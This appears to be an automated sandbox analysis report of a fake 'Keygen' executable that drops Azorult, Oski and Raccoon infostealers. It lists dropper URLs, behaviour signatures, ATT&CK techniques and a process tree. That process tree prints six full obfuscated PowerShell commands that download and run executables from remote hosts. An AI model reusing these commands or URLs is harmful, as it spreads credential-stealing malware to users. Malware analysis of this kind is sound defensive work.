azorult | 3a27b002eab25417e6ef4cdeb35edd40755a0a20f6c701842f10bfa9448e5c89

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
23s
max time network
163s
platform
windows10_x64
resource
win10
submitted
02-10-2020 21:14

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (40) — копия.exe

Score

10^/10

azorult oski raccoon infostealer spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

5 2596 powershell.exe
8 2596 powershell.exe
10 3988 powershell.exe
12 3988 powershell.exe
18 4264 powershell.exe
22 4264 powershell.exe
Downloads MZ/PE file

flow	pid	process
5	2596	powershell.exe
8	2596	powershell.exe
10	3988	powershell.exe
12	3988	powershell.exe
18	4264	powershell.exe
22	4264	powershell.exe

Executes dropped EXE 11 IoCs

Processes:

Keygen.exeetk.exebjn.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exebjn.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeuhs.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid	process
1444	Keygen.exe
4820	etk.exe
4832	bjn.exe
4964	FVjhgtresfdbv.exe
4980	NHtrdsaghfDF.exe
5048	bjn.exe
5080	FVjhgtresfdbv.exe
5088	NHtrdsaghfDF.exe
1208	uhs.exe
4644	FVjhgtresfdbv.exe
4636	NHtrdsaghfDF.exe

Loads dropped DLL 3 IoCs

Processes:

FVjhgtresfdbv.exe

pid process

5080 FVjhgtresfdbv.exe
5080 FVjhgtresfdbv.exe
5080 FVjhgtresfdbv.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
5080	FVjhgtresfdbv.exe
5080	FVjhgtresfdbv.exe
5080	FVjhgtresfdbv.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

bjn.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

description	pid	process	target process
PID 4832 set thread context of 5048	4832	bjn.exe	bjn.exe
PID 4964 set thread context of 5080	4964	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4980 set thread context of 5088	4980	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

2324 timeout.exe
1080 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings cmd.exe

pid	process
2324	timeout.exe
1080	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
3420	powershell.exe
2596	powershell.exe
3988	powershell.exe
2484	powershell.exe
2596	powershell.exe
3420	powershell.exe
2484	powershell.exe
3988	powershell.exe
3988	powershell.exe
2596	powershell.exe
2484	powershell.exe
3420	powershell.exe
4264	powershell.exe
4264	powershell.exe
4412	powershell.exe
4412	powershell.exe
4264	powershell.exe
4412	powershell.exe
4264	powershell.exe
4412	powershell.exe

Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

bjn.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

4832 bjn.exe
4964 FVjhgtresfdbv.exe
4980 NHtrdsaghfDF.exe

pid	process
4832	bjn.exe
4964	FVjhgtresfdbv.exe
4980	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2596	powershell.exe
Token: SeDebugPrivilege	3420	powershell.exe
Token: SeDebugPrivilege	3988	powershell.exe
Token: SeDebugPrivilege	2484	powershell.exe
Token: SeDebugPrivilege	4264	powershell.exe
Token: SeDebugPrivilege	4412	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

Keygen.exebjn.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeuhs.exe

pid process

1444 Keygen.exe
4832 bjn.exe
4964 FVjhgtresfdbv.exe
4980 NHtrdsaghfDF.exe
1208 uhs.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (40) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exebjn.exe

description	pid	process	target process
PID 3812 wrote to memory of 632	3812	Keygen — копия (40) — копия.exe	cmd.exe
PID 3812 wrote to memory of 632	3812	Keygen — копия (40) — копия.exe	cmd.exe
PID 3812 wrote to memory of 632	3812	Keygen — копия (40) — копия.exe	cmd.exe
PID 632 wrote to memory of 1444	632	cmd.exe	Keygen.exe
PID 632 wrote to memory of 1444	632	cmd.exe	Keygen.exe
PID 632 wrote to memory of 1444	632	cmd.exe	Keygen.exe
PID 632 wrote to memory of 2104	632	cmd.exe	mshta.exe
PID 632 wrote to memory of 2104	632	cmd.exe	mshta.exe
PID 632 wrote to memory of 2104	632	cmd.exe	mshta.exe
PID 632 wrote to memory of 2132	632	cmd.exe	mshta.exe
PID 632 wrote to memory of 2132	632	cmd.exe	mshta.exe
PID 632 wrote to memory of 2132	632	cmd.exe	mshta.exe
PID 632 wrote to memory of 2324	632	cmd.exe	timeout.exe
PID 632 wrote to memory of 2324	632	cmd.exe	timeout.exe
PID 632 wrote to memory of 2324	632	cmd.exe	timeout.exe
PID 2104 wrote to memory of 2596	2104	mshta.exe	powershell.exe
PID 2104 wrote to memory of 2596	2104	mshta.exe	powershell.exe
PID 2104 wrote to memory of 2596	2104	mshta.exe	powershell.exe
PID 2132 wrote to memory of 3420	2132	mshta.exe	powershell.exe
PID 2132 wrote to memory of 3420	2132	mshta.exe	powershell.exe
PID 2132 wrote to memory of 3420	2132	mshta.exe	powershell.exe
PID 632 wrote to memory of 2512	632	cmd.exe	mshta.exe
PID 632 wrote to memory of 2512	632	cmd.exe	mshta.exe
PID 632 wrote to memory of 2512	632	cmd.exe	mshta.exe
PID 632 wrote to memory of 1060	632	cmd.exe	mshta.exe
PID 632 wrote to memory of 1060	632	cmd.exe	mshta.exe
PID 632 wrote to memory of 1060	632	cmd.exe	mshta.exe
PID 2512 wrote to memory of 3988	2512	mshta.exe	powershell.exe
PID 2512 wrote to memory of 3988	2512	mshta.exe	powershell.exe
PID 2512 wrote to memory of 3988	2512	mshta.exe	powershell.exe
PID 632 wrote to memory of 1080	632	cmd.exe	timeout.exe
PID 632 wrote to memory of 1080	632	cmd.exe	timeout.exe
PID 632 wrote to memory of 1080	632	cmd.exe	timeout.exe
PID 1060 wrote to memory of 2484	1060	mshta.exe	powershell.exe
PID 1060 wrote to memory of 2484	1060	mshta.exe	powershell.exe
PID 1060 wrote to memory of 2484	1060	mshta.exe	powershell.exe
PID 632 wrote to memory of 4180	632	cmd.exe	mshta.exe
PID 632 wrote to memory of 4180	632	cmd.exe	mshta.exe
PID 632 wrote to memory of 4180	632	cmd.exe	mshta.exe
PID 4180 wrote to memory of 4264	4180	mshta.exe	powershell.exe
PID 4180 wrote to memory of 4264	4180	mshta.exe	powershell.exe
PID 4180 wrote to memory of 4264	4180	mshta.exe	powershell.exe
PID 632 wrote to memory of 4308	632	cmd.exe	mshta.exe
PID 632 wrote to memory of 4308	632	cmd.exe	mshta.exe
PID 632 wrote to memory of 4308	632	cmd.exe	mshta.exe
PID 4308 wrote to memory of 4412	4308	mshta.exe	powershell.exe
PID 4308 wrote to memory of 4412	4308	mshta.exe	powershell.exe
PID 4308 wrote to memory of 4412	4308	mshta.exe	powershell.exe
PID 3988 wrote to memory of 4820	3988	powershell.exe	etk.exe
PID 3988 wrote to memory of 4820	3988	powershell.exe	etk.exe
PID 3988 wrote to memory of 4820	3988	powershell.exe	etk.exe
PID 2596 wrote to memory of 4832	2596	powershell.exe	bjn.exe
PID 2596 wrote to memory of 4832	2596	powershell.exe	bjn.exe
PID 2596 wrote to memory of 4832	2596	powershell.exe	bjn.exe
PID 4832 wrote to memory of 4964	4832	bjn.exe	FVjhgtresfdbv.exe
PID 4832 wrote to memory of 4964	4832	bjn.exe	FVjhgtresfdbv.exe
PID 4832 wrote to memory of 4964	4832	bjn.exe	FVjhgtresfdbv.exe
PID 4832 wrote to memory of 4980	4832	bjn.exe	NHtrdsaghfDF.exe
PID 4832 wrote to memory of 4980	4832	bjn.exe	NHtrdsaghfDF.exe
PID 4832 wrote to memory of 4980	4832	bjn.exe	NHtrdsaghfDF.exe
PID 4832 wrote to memory of 5048	4832	bjn.exe	bjn.exe
PID 4832 wrote to memory of 5048	4832	bjn.exe	bjn.exe
PID 4832 wrote to memory of 5048	4832	bjn.exe	bjn.exe
PID 4832 wrote to memory of 5048	4832	bjn.exe	bjn.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (40) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (40) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3812

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\29D5.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (40) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:632

C:\Users\Admin\AppData\Local\Temp\29D5.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1444

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\29D5.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2104

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2596

C:\Users\Public\bjn.exe
"C:\Users\Public\bjn.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4832

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4964

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5080

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4980

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:5088

C:\Users\Public\bjn.exe
"C:\Users\Public\bjn.exe"
6⤵
- Executes dropped EXE
PID:5048

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\29D5.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2132

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3420

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:2324

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\29D5.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2512

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3988

C:\Users\Public\etk.exe
"C:\Users\Public\etk.exe"
5⤵
- Executes dropped EXE
PID:4820

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\29D5.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1060

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2484

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:1080

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\29D5.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4180

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4264

C:\Users\Public\uhs.exe
"C:\Users\Public\uhs.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1208

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
PID:4644

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
PID:4636

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\29D5.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4308

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4412

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\29D5.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\29D5.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\29D5.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\29D5.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\29D5.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\29D5.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\29D5.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\29D5.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\29D5.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Public\bjn.exe

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C:\Users\Public\bjn.exe

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C:\Users\Public\bjn.exe

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C:\Users\Public\etk.exe

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C:\Users\Public\etk.exe

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C:\Users\Public\uhs.exe

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C:\Users\Public\uhs.exe

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
